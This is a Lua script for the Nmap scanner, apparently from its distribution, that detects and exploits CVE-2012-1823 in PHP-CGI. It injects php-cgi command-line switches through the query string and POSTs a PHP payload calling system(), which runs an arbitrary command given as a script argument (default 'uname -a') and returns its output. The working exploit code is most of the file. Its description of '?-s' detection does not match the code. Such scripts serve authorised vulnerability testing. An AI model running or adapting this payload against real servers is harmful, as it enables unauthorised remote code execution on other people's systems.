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local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
description = [[
Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This
critical vulnerability allows attackers to retrieve source code and execute
code remotely.
The script works by appending "?-s" to the uri to make vulnerable php-cgi
handlers return colour syntax highlighted source. We use the pattern "<span
style=.*><?" to detect
vulnerable installations.
]]
---
-- @usage
-- nmap -sV --script http-vuln-cve2012-1823 <target>
-- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php <target>
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-vuln-cve2012-1823:
-- | VULNERABLE:
-- | PHP-CGI Remote code execution and source code disclosure
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:2012-1823
-- | Description:
-- | According to PHP's website, "PHP is a widely-used general-purpose
-- | scripting language that is especially suited for Web development and
-- | can be embedded into HTML." When PHP is used in a CGI-based setup
-- | (such as Apache's mod_cgid), the php-cgi receives a processed query
-- | string parameter as command line arguments which allows command-line
-- | switches, such as -s, -d or -c to be passed to the php-cgi binary,
-- | which can be exploited to disclose source code and obtain arbitrary
-- | code execution.
-- | Disclosure date: 2012-05-03
-- | Extra information:
-- | Proof of Concept:/index.php?-s
-- | References:
-- | http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
-- |_ http://ompldr.org/vZGxxaQ
--
-- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
-- @args http-vuln-cve2012-1823.cmd CMD. Default: uname -a
---
author = {"Paulino Calderon <calderon@websec.mx>", "Paul AMAR <aos.paul@gmail.com>"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit","vuln","intrusive"}
portrule = shortport.http
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname -a"
local vuln = {
title = 'PHP-CGI Remote code execution and source code disclosure',
state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = '2012-1823'},
description = [[
According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.]],
references = {
'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
'http://ompldr.org/vZGxxaQ',
},
dates = {
disclosure = {year = '2012', month = '05', day = '03'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
stdnse.debug2("Trying detection using echo command")
local detection_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('echo NmapCVEIdentification');die(); ?>")
if detection_session and detection_session.status == 200 then
if string.match(detection_session.body, "NmapCVEIdentification") then
stdnse.debug1("The website seems vulnerable to CVE-2012-1823.")
else
return
end
end
stdnse.debug2("Trying Command... " .. cmd)
local exploitation_session = http.post(host, port, uri.."?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", { no_cache = true }, nil, "<?php system('"..cmd.."');die(); ?>")
if exploitation_session and exploitation_session.status == 200 then
stdnse.debug1("Ouput of the command " .. cmd .. " : \n"..exploitation_session.body)
vuln.state = vulns.STATE.EXPLOIT
return vuln_report:make_output(exploitation_session.body)
end
end
|
